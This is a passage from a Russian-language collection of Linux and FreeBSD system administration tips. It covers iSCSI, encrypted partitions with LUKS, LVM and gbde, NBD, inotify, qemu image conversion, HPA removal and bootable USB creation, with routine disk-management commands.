           initrd = /boot/initrd.gz
           root = Linux
           label = Linux
           read-only
    
    Выполним команды
    
       lilo
       exit
       reboot
    
     
    ----* Настройка iSCSI в Ubuntu Linux   [комментарии]
     
    Создание iSCSI-хранилища (iSCSI target - сервер):
    
    Устанавливаем пакет iscsitarget:
    
       sudo apt-get install iscsitarget
    
    Настраиваем файл конфигурации /etc/ietd.conf
    
    Например, открываем доступ к /dev/sdc диску:
    
       Target iqn.2009-04.ru.test:nas1.sdc
          IncomingUser USER1 PASSWORD1
          OutgoingUser USER2 PASSWORD2
          Lun 0 Path=/dev/sdb,Type=fileio
    
    где IncomingUser - логин/пароль для аутентификации раскрытия сессий для iSCSI initiator.
    OutgoingUser - для аутентификации target на initiator-е;
    
    или вместо раздела создаем хранилище в файле:
    
       Target iqn.2009-04.ru.test:nas2.filedb
            Lun 0 Path=/tmp/file.nas,Type=fileio
    
    Файл хранилища /tmp/file.nas размером 1Гб создаем как
    
       dd if=/dev/zero of=templun3 count=0 obs=1 seek=1G
    
    Перезапускаем iscsitarget:
    
       invoke-rc.d iscsitarget restart
    
    
    
    Подключение созданного хранилища на другой машине (iSCSI initiator - клиент):
    
    Устанавливаем iSCSI Initiator:
    
       sudo apt-get install open-iscsi
    
    Настраиваем файл конфигурации /etc/iscsi/iscsid.conf (или ~/.iscsid.conf):
    
       node.startup = automatic
       node.session.auth.username = USER1
       node.session.auth.password = PASSWORD1
       discovery.sendtargets.auth.username = USER2
       discovery.sendtargets.auth.password = PASSWORD2
      
    где, в node.session.* задается имя пользователя и пароль для CHAP
    аутентификации initiator в target;
    discovery.sendtargets.* имя пользователя и пароль для раскрытия сессий.
    
    
    Перезапускаем сервис:
    
      invoke-rc.d open-iscsi restart
    
    Определяем iscsi target (192.168.1.10 - IP iscsitarget сервера):
    
       iscsiadm -m discovery -t sendtargets -p 192.168.1.10
    
    подключаемся к выбранному сервису:
    
       iscsiadm --mode node --targetname iqn.2009-04.ru.test:nas2.filedb --portal 192.168.1.10:3260 --login
    
    Перезапускаем сервис:
      invoke-rc.d open-iscsi restart
      
    Смотрим имя устройства в /var/log/messages:
    
       SCSI device sdd: 20981760 512-byte hdwr sectors (10742 MB)
    
    Далее работаем с /dev/sdd как с обычным блочным устройством (форматируем, монтируем и т.п.):
       fdisk /dev/sdd
       mke2fs /dev/sdd1
       mkdir /iscsi
       mount /dev/sdd1 /iscsi
    
     
    ----* Создание шифрованного раздела в Linux (доп. ссылка 1)   [комментарии]
     
    В  CentOS 5.3 добавлена возможность создания шифрованных дисковых разделов на этапе установки.
    Рассмотрим ручное создание шифрованного раздела /dev/sdb3 при помощи dm-crypt/LUKS.
    
    Сryptsetup можно найти в пакете cryptsetup в репозиториях Debian, Ubuntu, SuSE, Fedora и CentOS:
    
    Установка: 
    
       apt-get install cryptsetup
    или
       yum install cryptsetup
    
    Заполняем раздел случайными данными, для удаления остаточной информации:
    
       dd if=/dev/urandom of=/dev/sdb3
    
    Инициализируем шифрованный раздел
    
       cryptsetup luksFormat /dev/sdb3
    
    в ответ на приглашение "Enter LUKS passphrase:" вводим пароль, под которым
    будет производиться доступ к созданному разделу.
    
    Проверяем все ли нормально было создано:
    
       cryptsetup isLuks /dev/sdb3 && echo Sucess
       Sucсess
    
    Смотрим параметры созданного раздела:
    
       cryptsetup luksDump /dev/sdb3
    
       LUKS header information for /dev/sdb3
       Version:        1
       Ciper name:    aes
       Cipher mode:    cbc-essiv:sha256
       Hash spec:      sha1
       ...
    
    Получаем UUID идентификатор раздела для его последующего монтирования без
    привязки к имени устройства:
    
       cryptsetup luksUUID /dev/sdb3
       d77eb752-8a90-4d94-ae9f-2bec0a22c5d3
    
    Подключаем шифрованный раздел, для его последующего монтирования:
    
       cryptsetup luksOpen /dev/sdb3 db
    
       Enter LUKS passphrase: вводим пароль
       key slot 0 unlocked.
       Command successful.
    
    Смотрим параметры расшифрованного устройства /dev/mapper/db, пригодного для монтирования:
    
       dmsetup info db
    
       Name:              db
       State:             ACTIVE
       Read Ahead:        256
       Tables present:    LIVE
       Open count:        0
       Event number:      0
       Major, minor:      253, 1
       Number of targets: 1
    
    Форматируем новый раздел:
    
       mke2fs -j /dev/mapper/db
    
    Создаем точку монтирования:
    
       mkdir /db
    
    Монтируем:
    
       mount /dev/mapper/db /db
    
    Добавляем настройки в /etc/crypttab в последовательности соответствующей
    порядку монтирования разделов:
    
       luks-d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 UUID=d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 none
    
    Добавляем автомонтирование в /etc/fstab (на этапе загрузки нужно будет вводить пароль):
    
       /dev/mapper/luks-d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 /db ext3  defaults 0 0
    
    Для автомонтирования шифрованного раздела должен быть активен системный сервис /etc/init.d/crytdisks
    
    Для отключения раздела нужно использовать:
    
       umount /db
       crytsetup luksClose /dev/mapper/db
    
    Вместо ввода пароля можно сохранить ключ шифрования на USB брелок,
    последовательность примерно такая:
    
    Создаем ключ на flash:
       dd if=/dev/random of=/media/flash/pass.key bs=1 count=256
    
    Инициализируем раздел:
       cryptsetup luksFormat /dev/sdb3 /media/flash/pass.key 
    
    Подключаем раздел:
       cryptsetup --key-file /media/flash/pass.key luksOpen /dev/sdb3 db
    
    В /etc/crypttab вместо "none" добавляем путь к файлу с ключом.
    
     
    ----* Как преобразовать образ виртуальной машины Qemu в VirtualBox и VmWare   [комментарии]
     
    Для преобразования образа виртуальной машины Qemu в вид пригодный для запуска в VirtualBox,
    можно использовать следующие команды:
    
       qemu-img convert qemu.img tmp.bin  
       VBoxManage convertdd tmp.bin virtualbox.vdi
       VBoxManage modifyvdi virtualbox.vdi compact
    
    Для старых версий VirtualBox, нужно было использовать вместо VBoxManage - vditool:
    
       vditool DD virtualbox.vdi tmp.bin  
       vditool SHRINK virtualbox.vdi  
    
    Преобразование qemu образа в формат пригодный для использования в VmWare:
    
       qemu-img convert -6 qemu.img -O vmdk vmware.vmdk
    
    Для преобразования формата VmWare в qemu:
     
       qemu-img convert vmware.vmdk -O qcow2 qemu.img
    
    Для преобразования образа диска или livecd в вид пригодный для использования в qemu:
    
       qemu-img convert -f raw disk.img -O qcow2 qemu.img
       qemu-img convert -f cloop cloop.img -O qcow2 qemu.img
    
     
    ----* Передача блочных устройств на другую машину, при помощи NBD в Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Возможность работы с блочным устройством другой машины по сети может быть оправдана 
    при наличии на второй машине новой версии fsck, поддержки файловой системы 
    (например, тестирование нового драйвера FS, или экспорт на другую программную платформу, 
    диск можно подключить к Windows машине и примонтировать на компьютере с Linux) или 
    специализированного устройства (например, raid-контроллера), отсутствующих 
    на первой машине. NBD также можно использовать в целях упрощения ограничения 
    интенсивности операций ввода/вывода (клиент и сервер одна машина, регулировка 
    через iptables), хранилище можно примонтировать на нескольких машинах в read-only 
    режиме и использовать unionfs для сохранения изменений на локальный диск.
    
    Загружаем исходные тексты NBD с сайта http://nbd.sourceforge.net/
    или устанавливаем пакеты в Debian/Ubuntu (nbd-server на сервере, nbd-client на клиенте):
    
       apt-get install nbd-server
       apt-get install nbd-client
    
    Экспортируем устройство /dev/sdb1 на сервере:
    
       nbd-server 2000 /dev/sdb1
       или nbd-server 192.168.1.1:2000 /dev/sdb1 -r -l /etc/nbd.allow
    
    где, 2000 - номер порта для приема соединений от клиента, 
    для привязки к IP можно использовать "192.168.1.1:2000"
    Для экспорта в режиме только для чтения нужно указать опцию "-r"
    Таймаут можно задать через опцию "-a"
    Через опцию "-l" можно указать файл со списком IP, которым разрешен доступ.
    Через опцию "-c" можно организовать доступ в режиме фиктивной записи, когда все изменения 
    не будут записываться в экспортируемое устройство, а будут отражаться во временном файле, 
    доступном только для данной сессии.
    
    Вместо устройства можно экспортировать содержимое файла:
    
       dd if=/dev/zero of=/tmp/test.img count=256 bs=1024k
       mkfs.ext3 /tmp/test.img
       nbd-server 2000 /tmp/test.img
    
    На стороне клиента выполняем:
    
       modprobe nbd
       nbd-client IP_сервера 2000 /dev/nbd0
    
    Устройство /dev/sdb1 сервера будет доступно через /dev/nbd0 на стороне клиента.
    
    Монтируем файловую систему на стороне клиента:
    
       mount /dev/nbd0 /mnt
    
     
    ----* Слежение за изменением файлов и директорий в Linux shell   [комментарии]
     
    Пакет inotify-tools содержит две полезные утилиты:
    
    inotifywait - ожидать наступления определенного события в файле или дирекотории. 
    
    inotifywatch - слежение за статистикой изменений и вывод суммарных данных.
    
    Утилиту inotifywait  удобно использовать в скриптах, например, когда нужно дождаться 
    завершения внешней операции с файлом и мгновенно среагировать на изменения.
    
    Напрмер, запустим:
       inotifywait /tmp
    
    При попытке создать файл в /tmp утилита завершит работу, выдав:
    
       /tmp/ CREATE,ISDIR v31549
    
    При попытке создать директорию:
    
       /tmp/ CREATE,ISDIR 0
    
    Если необходимо следить за изменением во всех директориях в пределах /tmp, 
    следует использовать флаг рекурсивного контроля "-r". 
    Для больших директорий может понадобиться расширить лимит /proc/sys/fs/inotify/max_user_watches.
    Используя опцию "--fromfile" можно загрузить список контролируемых файлов и директорий из файла.
    Опция "-e" позволяет реагировать только на определенный тип события, например,
    на удаление файла, игнорируя создание и открытие.
    Опция '-m' отменяет мгновенный выход после наступления события, что позволяет организовать 
    визуальное наблюдение или обработку в цикле.
    
    Пример, скрипта для обработки изменения файла:
    
       #!/bin/sh
       inotifywait -e delete -m /tmp/lock/ | while read dir events file; do
          echo "Removed $dir$file"
       done
    
    
    При выполнении:
    
       inotifywatch /tmp
    
    и последующем завершении выполнения через задание таймаута или нажатия ctrl+c, 
    будет выведена суммарная информация по каждому из классов событий, напрмер:
    
       total  modify  close_write  close_nowrite  open  create  delete  filename
       22     3       4            1              5     4       5       /tmp/
    
    Или
    
       inotifywatch -v -e access -e modify -t 60 -r /var/log
    
    через 60 секунд выдаст:
    
       14     14      /var/log/
       2      2       /var/log/apache2
       4      4       /var/log/postgresql
    
    Что касается кроссплатформенного решения, которое работает, не только в Linux, но и во FreeBSD, 
    можно привести пример слежения за изменением файла используя Perl модуль EV (http://search.cpan.org/dist/EV/),
    использующий универсальную библиотеку-враппер libev:
    
       #!/usr/bin/perl
    
       use strict;
       use EV;
    
       # Следим за изменениями в директории /tmp/watch
       # 0 - интервал опроса по умолчанию
       my $w = EV::stat "/tmp/watch", 0,
       sub {
                my ($w, $revents) = @_;
                warn $w->path, " has changed somehow.".$w->attr."\n";
                $w->stop;
                # На время обработки события, прекращаем прием нотификаций. 
                .....
                $w->start;
       };
    
       EV::loop;
    
     
    ----* Миграция на файловую систему LVM с поддержкой шифрования в Debian linux (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Администрирование Debian: How To по миграции на файловую систему LVM с поддержкой шифрования
    
    Целью данного документа является описание пути перехода на полностью шифрованную файловую 
    систему LVM (корневая файловая система и пользовательские данные, кроме загрузочного раздела). 
    Миграция возможна как с обычной LVM, так и с ext3. Все, что вам понадобится -
    наличие внешнего хранилища.
    
    Отдельно стоит отметить, что данная операция должна проводиться человеком, имеющим некоторый опыт.
    
    ЧАСТЬ 1. Установка необходимого ПО и сохранение текущей системы.
    
    Есть два способа реализации Full Encrypted LVM (далее - FELVM).
    a) Debian way (TM), где LVM размещаетя на зашифрованном виртуальном устройстве (cryptsetup).
    b) Другой путь, когда LVM создается на физическом устройстве, а затем шифруются логические разделы.
    
    Конечно, я выбираю debian way, хотя никаких определенных причин для этого нет.
    
    В качестве исходных данных у меня имеется /dev/hda1 типа Windows NTFS и несколько других разделов, 
    тип которых не важен, так как их скоро не останется.
    
    Перед тем, как мы начнем, рекомендую сделать полную копию ваших данных на
    внешний носитель с помощью CloneZilla,
    чтобы потом не иметь бледный вид.
    
    Для начала установим  'cryptsetup'. Также ядро должно ключать образ initrd для
    загрузки. Если это не так,
    установите пакет initramfs-tools. Затем создайте следующий файл в каталоге /etc/initramfs-tools/conf.d:
    
       filename: cryptroot
       contents:
       target=lukspace,source=/dev/hda3,key=none,lvm=vg-root
    
    Затем выполните команду:
    
       # update-initramfs -u
    
    Она создаст образ initrd, который будет знать, где находятся шифрованные разделы после создания.
    
    Создадим, и это обязательно, tar архив вашей системы на внешний носитель:
    
       # tar cSjf /my/external/storage/sysbackup.tar.bz2 /bin/ /boot/ \
        /etc/ /home/ /lib/ /opt/ /root/ /sbin/ /selinux/ /srv/ /usr/ /var/
    
    Если вы хотите повысить скорость выполнения данной операции, уберите флаг 'j' и расширение bz2.
    
    Это позволит сохранить все права доступа, файлы, владельцев файлов и т.д. 
    Как вы можете заметить, я пропустил каталоги /dev/, /media, /mnt, /proc, /sys, /tmp, 
    так как они будут вновь созданы на новой системе (кроме /media).
    
    Я подразумеваю, что никаких действий в системе после сохранения не производится - 
    не открываются консоли и сессии X window, кроме корневой.
    
    Настало время получить данные с внешних хранилищ. Будем считать, что оно примонтировано 
    в /media/abyss. Конечно, /media так же содержит cdrom и прочие полезные вещи.
    
    # tar cSjf /my/external/storage/databackup.tar.bz2 /media/cdrom /media/whatever /media/... 
    Все ЗА ИСКЛЮЧЕНИЕМ точки монтирования внешнего хранилища!
    
    Теперь мы защищены от любых ошибок при конфигурировании.
    
    
    
    ЧАСТЬ 2. Переформатирование диска и создание структуры FELVM.
    
    Помните: если дела приняли дурной оборот - вы всегда можете восстановиться с помощью clonezilla.
    
    Я использую clonezilla CD для большинства работ, где мне нужен live CD.
    
    Загружаем Clonezilla, настраиваем сеть. Затем в консоли (sudo su) выполняем команды:
    
       # aptitude update && aptitude dist-upgrade
    
    Возможно перед этим вам понадобится выполнить что-то подобное:
    
       # ifconfig eth0 up
       # dhclient eth0
    
    После того, как live CD обновит ПО нужно установить следущее:
    
       # aptitude install cryptsetup joe
    
    Joe - мой любимый редактор, поэтому далее мы будем считать, что и ваш тоже.
    
    Очищаем диск!
    
       # cfdisk /dev/hda
    
    и удаляем все разделы за исключением /dev/hda1 (NTFS).
    
    Создаем раздел, с которого будет осуществляться загрузка: /dev/hda2 размером 200 MB.
    
    Затем создаем другой раздел, занимающий все свободное пространство(/dev/hda3). 
    Его в последствии будет занимать rootfs и данные.
    
    Записываем таблицу разделов на диск и выходим.
    
    Мы все поломали, но не стоит волноваться, все будет восстановлено с tar архивов.
    
    Окончательно удаляем наши данные, заполняя все случайными последовательностями, 
    заодно проверяя наличие badblock:
    
       # badblocks -s -w -t random -v /dev/hda2
       # badblocks -s -w -t random -v /dev/hda3
    
    На выполнение этих команд требуется время, так что будьте терпеливы.
    
    Создаем файловую систему на загрузочном разделе:
    
       # mkfs.ext3 /dev/hda2
    
    Используя cryptsetup создадим большой раздел как устройство dm-crypt. Это очень просто:
    
       # cryptsetup -y -s 256 -c aes-cbc-essiv:sha256 luksFormat /dev/hda3
    
    Я не буду приводить объяснение всех опций, если хотите - посмотрите сами. 
    Обязательно выберите хорошее ключевое слово, которое вы сможете запомнить. 
    Позже вы сможете сменить его или сделать несколько ключевых слов.
    
    Подошло время использовать инициализированное пространство:
    
       # cryptsetup luksOpen /dev/hda3 lukspace
    
    Эта команда спросит у вас ранее введенное ключевое слово и сделает доступным /dev/mapper/lukspace. 
    Это может быть расценено как устройство, готовое принять любой вид данных. 
    Вы можете форматировать его в ext3 или построить LVM, чем мы сейчас и займемся.
    
    Создаем LVM:
    
       # pvcreate /dev/mapper/lukspace
       # vgcreate vg /dev/mapper/lukspace
       # lvcreate -L10G -nroot vg
       # lvcreate -l 100%FREE -nmyspace vg
    
    Так мы получим логический том LVM /dev/vg/root для корневой файловой системы и
    /dev/vg/myspace для наших данных.
    Это было несложно, не так ли?
    
    Дальше еще проще:
    
       # mkfs.ext3 /dev/vg/root
       # mkfs.ext3 /dev/vg/myspace
    
    
    ЧАСТЬ 3. Восстановление системных файлов и загрузка новой системы.
    
    После того, как вы создадите место для корневой файловой системы, настанет 
    пора разархивировать туда наши данные.
     
    Сперва создадим точку монтирования, которую назовем /media/rootfs и затем:
    
       # mount /dev/vg/root /media/rootfs
    
    а теперь:
    
       # cd /media/rootfs
       # tar xSjf /external_storage/sysbackup.tar.bz2
    
    После чего ждем завершения процесса.
    
    Создаем каталоги, которые не были сархивированы:
    
       # mkdir proc sys media dev tmp mnt
       # chmod 1777 tmp
    
    Теперь создаем точку монтирования bootfs и монтируем к ней будущий загрузочный раздел:
    
       # mkdir bootfs
       # mount /dev/hda2 bootfs
    
    Затем перемещаем загрузочные файлы из rootfs/boot в bootfs. Теперь /dev/hda2 
    содержит все необходимые для загрузки файлы. И последнее - изменим файл fstab  в rootfs/etc 
    таким образом, чтобы указать новое устройство /dev/vg/root.
    
    Перезагружаемся. После загрузки grub нажимаем 'e' для редактирования опций ядра и 
    указания правильного root=..., чтобы машина могла загрузиться.
    
    Хочется надеяться, что LUKS спросит у вас кодовое слово, и все пойдет хорошо!
    
    После того, как вы наиграетесь с вашей зашифрованной системой, отредактируйте /boot/grub/menu.lst 
    для указания корректного устройства root=... и запустите update-grub.
    
    Giorgos Pallas
    
     
    ----* Настройка службы iSCSI на сервере FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Q. Как я могу установить и настроить службу iSCSI на сервере FreeBSD ?
    
    A. FreeBSD 7.x полностью поддерживает iSCSI. Старые версии, такие как  FreeBSD
    6.3 требуют обратного
    портирования для поддержки iSCSI. Следущие инструкции приведены для настройки
    iSCSI только под FreeBSD 7.0.
    
    FreeBSD iscsi_initiator driver
    
    iscsi_initiator в ядре FreeBSD реализует страндарт сетевого протокола Internet SCSI (iSCSI), 
    взаимодействует с пользовательским окружением iscontrol и обеспечивает доступ к
    удаленным виртуальным SCSI устройствам.
    
    Компилирование драйвера
    
    обратите внимание на то, что FreeBSD 7.x поставляется с уже скомпилированным драйвером. 
    Вы можете пропустить этот шаг, если драйвер /boot/kernel/iscsi_initiator.ko 
    уже присутствует в вашей системе.
    
    Для компиляции ядра с драйвером, выполните следущее:
    
       # cd /usr/src/sys/i386/conf
       # cp GENERIC ISCSIKERNEL
       # vi ISCSIKERNEL
    
    Вставьте строку:
    
       device iscsi_initiator
    
    Сохраните и закройте файл конфигурации. Соберите ядро:
    
       # cd /usr/src
       # make buildkernel KERNCONF=ISCSIKERNEL
    
    Установите ядро:
    
       # make installkernel KERNCONF=ISCSIKERNEL
    
    Перезагрузите систему:
    
       # reboot
    
    Установка драйвера iSCSI в FreeBSD
    
    Нам необходим драйвер ядра FreeBSD для протокола iSCSI, который называется /boot/kernel/iscsi_initiator.ko.
    Загрузите его можно с правами пользователя root следующей командой: 
    
       # kldload -v iscsi_initiator.ko
    
    Вывод:
    
       Loaded iscsi_initiator.ko, id=6
    
    Для загрузки драйвера во время начальной загрузки, поместите слудующую строку в /boot/loader.conf:
    
       # vi /boot/loader.conf
    
       # Beginning of the iSCSI block added by Vivek
       iscsi_initiator_load="YES"
       # End of the block added by Vivek
    
    Сохраните и закройте файл.
    
    Команда iscontrol для подключения, предоставления и контроля сессии iSCSI initiator.
    
    Теперь нам необходимо использовать команду iscontrol. Сперва просмотрим сессии:
    
       # iscontrol -d targetaddress=iSCSI-SERVER-IP-ADDRESS initiatorname=nxl
       # iscontrol -v -d targetaddress=192.168.1.100 initiatorname=nxl
    
    Пожалуйста,  запишите список доступных targetnames/targetadresses. Как только
    будет известно targetname,
    отредактируйте файл /etc/iscsi.conf:
    
      # vi /etc/iscsi.conf
    
    Укажите директивы подобным образом:
    
       officeiscsi {
            authmethod      = CHAP
            chapIName       = YOUR-ISCSI-USERNAME
            chapSecret      = YOUR-ISCSI-PASSWORD
            initiatorname   = nxl
            TargetName      = iqn.XYZZZZZZZZZZZZZ #  whatever "iscontrol -v -d " gives you
            TargetAddress   = 192.168.1.100:3260,1 # your iscsi server IP
       }
    
    Сохраните и закройте файл.
    
    Где:
    
     officeiscsi { : Начало конфигурации iSCSI.
        authmethod : Установить в качестве метода аутентификации chap
        chapIName  : Имя 
        chapSecret : Пароль 
        initiatorname : Если не указано другое, то iqn.2005-01.il.ac.huji.cs:<hostname>
        TargetName : Имя, под которым будет изветен target. Не путайте его с target address, 
                      который назначается администратором или через поиск устройств. 
        TargetAddress : Имеет вид domainname[:port][,portal-group-tag] согласно RFC: 
                      domainname может быть определен как имя DNS, адрес IPv4 в десятичном представлении  
                      или IPv6 адрес, как указано в [RFC2732]. 
     } : Конец конфигурации
    
    
    Старт сессии iSCSI
    
    Следущие команды читают опции из /etc/iscsi.conf, используя targetaddress в блоке, 
    называемом officeiscsi, и запускают сессию iscsi.
    
       # iscontrol -c /etc/iscsi.conf -n officeiscsi
    
    
    Как только вы выполните команду iscontrol, должно создаться новое устройство в каталоге /dev. 
    Для проверки выполним команду dmesg:
    
       # dmesg 
    
    Форматируем диск iSCSI
    
    Запустим sysinstall для форматирования обнаруженного устройства iSCSI:
    
       # sysinstall 
    
    Выбираем Custom > 3 Partition > Выбираем устройство iSCSI по имени da1. После
    форматирования вводим:
    
       # mkdir /iscsi
       # mount /dev/da1s1 /iscsi 
    
    Возможно вам понадобится обновить файл /etc/fstab:
    
       /dev/ad1s1 /iscsi ufs rw 3 3
    
     
    ----* Составление списка мертвых символических ссылок (доп. ссылка 1)   Автор: pavlinux  [комментарии]
     
    Находим файлы символических ссылок, которые никуда не указывают.
    
       find / -noleaf -type l -print | perl -nle '-e || print'
    
    Эта команда выведет все мертвые ссылки на стандартные вывод.
    Можно перевести вывод в файл, для изучения и исправления. 
    Или просто удалить, добавив конвейер: "| xargs rm", то есть так:
    
       find / -noleaf -type l -print |perl -nle '-e || print' | xargs rm
    
    PS. В BSD системах нужно отбросить опцию -noleaf, которая реализована только в GNU find.
    
     
    ----* Как минимизировать влияние бэкап-скрипта на интенсивность ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Задача сделать так, чтобы выполнение скрипта для бэкапа не сказывалось на
    производительности приложений
    с интенсивными дисковыми операциями.
    Решение - понижение приоритета скрипта в планировщике ввода/вывода CFQ, который
    включен в Linux ядро,
    начиная с версии 2.6.13, и используется по умолчанию начиная с 2.6.18.
    
    Проверяем, что активный планировщик у нас CFQ:
    
       for d in /sys/block/sd[a-z]/queue/scheduler; do echo "$d => $(cat $d)" ; done
       Видим: /sys/block/sda/queue/scheduler => noop anticipatory deadline [cfq]
    
    Запускаем скрипт бэкапа с пониженным приоритетом:
     
       nice -n 19 ionice -c2 -n7 backup.sh
    
    утилитой nice с самым низким приоритетом вызываем утилиту ionice cо 2  классом планировки (
    1 - real time, 2 - нормальный режим, 3 - работа только в моменты простоя (idle)) 
    и самым низким уровнем приоритета (7).
    
    Если процесс все равно мешает, можем на лету перевести его в idle режим:
    
       ionice -c3 -p 1004
    
    или изменить приоритет планировщика:
       
       renice 19 -p 1004
    
    Где 1004 - PID процесса.
    
     
    ----* Отключение HPA или решение проблемы определения 1Тб диска   Автор: Kroz  [комментарии]
     
    Исходные данные:
       Motherboard: GA-965P-DS3 rev. 1.0
       Motherboard BIOS: BIOS F1
       HDD: Samsung HD103UJ (1 Терабайт)
       HDD: Western Digital WD10EACS (1 Терабайт)
       OS: Gentoo Linux
       hdparm v8.6
    
    Проблема:
    
    Недавно я приобрёл два SATA HDD размером в 1000Мб (1Тб): Samsung HD103UJ и
    Western Digital WD10EACS.
    Я подключил их оба к материнке и к моему удивлению в BIOS один из них (Samsung)
    определился как 32Мб.
    Манипуляции со шлейфами (портами SATA) биосом, операционкой и другие танцы с бубном не помогали. 
    Samsung был реанимирован с помощью HDD Capacity Restore под Windows у товарища. 
    Дома диск определился правильно. Предполагая, что проблема была с Samsung'ом я продолжил 
    манипуляции с дисками дома. К моему удивлению я через некоторое время обнаружил, 
    что Western Digital тоже стал определяться как 32Мб.
    
    
    Причина:
    
    Причина в том, что материнская плата (BIOS) резервировала некоторое место под свои нужды. 
    Это зовется HPA (Host Protected Area). После данной манипуляции по каким-то причинам диск 
    начинал определяться неправильно. Насколько мне известно, такое происходит только 
    с терабайтными жесткими дисками, если объем меньше, то активизация HPA не повлияет 
    на определение размера BIOS'ом. Активизация данной функции (области) происходила при подключении
     к определённому SATA порту. На моей материнке есть два типа SATA портов: т. н. SATA-II 0/1/2/3 
    (желтые, от контроллера Intel ICH8) и т. н. GSATA-II 0/1 (красные, от контроллера J-Micron). 
    Данный эффект происходил на порту SATA-II 0 (возможно и на других портах SATA-II; по крайней
     мере HDD на GSATA-II 0/1 не затрагивались). Соответственно в первом случае я подключал
     Samsung к SATA-II, а WD к GSATA-II, во втором случае, я их поменял (естественно, я не придавал этому значения).
    
    
    Решение:
    
    Под Windows данная проблема решается программой HDD Capacity Restore
     http://www.bestvistadownloads.com/download/t-free-hdd-capacity-restore-download-aqauycgh.html
    
    Во  FreeBSD 8 это делается путём установки : hw.ata.setmax="1" в loader.conf
    
    Под Linux это решается стандартными средствами - командой hdparm.
    
    Вот пример:
    
    Диск без HPA:
    
       $ hdparm -N /dev/sdd
       /dev/sdd:
        max sectors   = 1953525168/1953525168, HPA is disabled
    
    Диск с HPA:
    
       $ hdparm -N /dev/sdc
       /dev/sdc:
        max sectors   = 586070255/586072368, HPA is enabled
    
    Для отключения HPA для второго случая используем комманду
    
       $ hdparm -N p586072368 /dev/sdc
    
    То есть мы приравниваем количество секторов, доступных пользователю, к
    максимальном количеству секторов на диске.
    Буква 'p' необходима для того, чтобы настройки сохранились в flash жесткого диска 
    (то есть чтобы после выключения питания они сохранились). Менять параметр с ключем 'p' 
    можно только один раз за сессию жесткого диска (сессия - промежуток времени
    между включениям и выключением).
    После изменения параметра необходимо выключить и включить винчестер (по факту - компьютер).
    
    Что касается решения корня проблемы - есть мнение, что прошивка F7 материнской
    платы ее устраняет, но я не пробовал.
    
    Дополнительная информация:
    
    http://en.wikipedia.org/wiki/Host_Protected_Area
    http://www.linux.gr/cgi-bin/man/man2html?hdparm+8
    http://www.gigabyte.ru/forum/viewtopic.php?f=23&t=25076&p=142923
    http://www.gigabyte.com.tw/Products/Motherboard/Products_Spec.aspx?ProductID=2361
    
     
    ----* Как в Fedora Linux создать загрузочный USB Flash на базе ISO образа (доп. ссылка 1)   [комментарии]
     
    Создание загрузочного USB Flash на базе ISO образа, без форматирования 
    и потери сохраненных на Flash данных (ставится прямо в VFAT, используя свободное место) 
    
    Устанавливаем пакет livecd-tools
       yum  install livecd-tools
    
    Создаем загрузочный USB Flash (устройство /dev/sdb1)
       livecd-iso-to-disk livecd.iso /dev/sdb1 
    
    
    Возможные проблемы и их решения:
    
    
    Если программа выдала сообщение "Partition isn't marked bootable!", запускаем:
       parted /dev/sdb
    Выполняем команду print и смотрим номер раздела (если раздел один, то будет 1)
       Выполняем команду: toggle 1 boot
       Выходим из parted: quit
       Или в fdisk используем команду "a".
    
    Если программа выдала сообщение "Need to have a filesystem label or UUID for your USB device":
       dosfslabel /dev/sdb1 usbdisk
    вместо usbdisk можно указать любое имя, на ваше усмотрение.
    
    Если программа выдала сообщение "MBR appears to be blank", копируем образ MBR:
       cat /usr/lib/syslinux/mbr.bin > /dev/sdb
    
    Если fdisk -l /dev/sdb выдает "Partition has different physical/logical
    endings!" - нужно переформатировать Flash:
      Создаем в fdisk один primary раздел типа 6 (FAT)
      Форматируем: mkdosfs -n usbdisk /dev/sdb1
    
    
    Тестируем подготовленный загрузочный Flash:
       qemu -hda /dev/sdb1 -m 256 -std-vga
    
    Если при загрузке пишет: "SYSLINUX 3.xx ... EBIOS Load error - Boot error",
    нужно обновить пакет syslinux до версии 3.50 или выше.
    
     
    ----* Как обновить данные в Linux ядре, после изменения таблицы разделов (доп. ссылка 1)   [комментарии]
     
    После изменения таблицы разделов стандартный fdisk предлагает перезагрузиться, 
    чтобы ядро восприняло изменения.
    Для того, чтобы обойтись без перезагрузки можно использовать утилиту
     partprobe (просто запустить без параметров). partprobe входит в состав пакета parted.
    
    Вариант без использования partprobe (подсказал Andrey Mitrofanov):
       blockdev --rereadpt
    
     
    ----* Увеличение скорости работы ext2/ext3 с директориями c большим числом файлов внутри (доп. ссылка 1)   Автор: Роман Лагунов  [комментарии]
     
    Для ускорения работы ext2/ext3 в пакете e2fsprogs начиная с версии 1.39 появилась 
    возможность использования технологии "directory indexing", или "HTree".
    
    Чтобы включить dir_index в /dev/hdb1, для отмонтированного раздела нужно выполнить команду:
        tune2fs -O +dir_index /dev/hdb1
    
    Далее нужно перестроить индекс директорий:
        e2fsck -Df /dev/hdb1
    
     
    ----* Шифрованный виртуальный диск под FreeBSD 5 (доп. ссылка 1)   Автор: levsha  [комментарии]
     
    Предполагается что в полном распоряжении есть FreeBSD 5.X
    Разборки "что ставить на сервер: 4.X или 5.X" не обсуждаются.
    В случае использования FreeBSD 4.X необходимо вместо mdconfig использовать vnconfig
    и вместо gbde использовать vncrypt.
    
    Компилируем ядро с 
    
       options GEOM_BDE # поддержка шифрованых дисков
       device          md              # Memory "disks"
    
    Создаем директорию, где все будет валяться
    
       mkdir /usr/cert/
    
    Создаем файл, где будет файловая система (размером 100 мегабайт)
    
       dd if=/dev/zero of=fimage bs=1m count=100
    
    создаем девайс на основании этого файла и создем там таблицу разделов на весь диск
    
       mdconfig -a -t vnode -f /usr/cert/fimage -u 0
       disklabel -r -w md0 auto
    
    Инициируем gbde патишен
    
       gbde init /dev/md0c -i -L /usr/cert/fimage.lock
    
    В текстовом редакторе откроется конфиг файл для этого шифрованого раздела.
    Если используется UFS 1 или2 то рекомендуется изменить параметр sector_size с 512 на 2048.
    
    Сохраняемся, вводим два раза пароль, который будет использоваться для доступа к
    этому шифрованому разделу.
    
    Подключаем шифрованый раздел (будет запрошен пароль для подключения).
    
       gbde attach /dev/md0c -l /usr/cert/fimage.lock
    
    Создаем на полученном разделе файловую систему.
    
       newfs -U /dev/md0c.bde
    
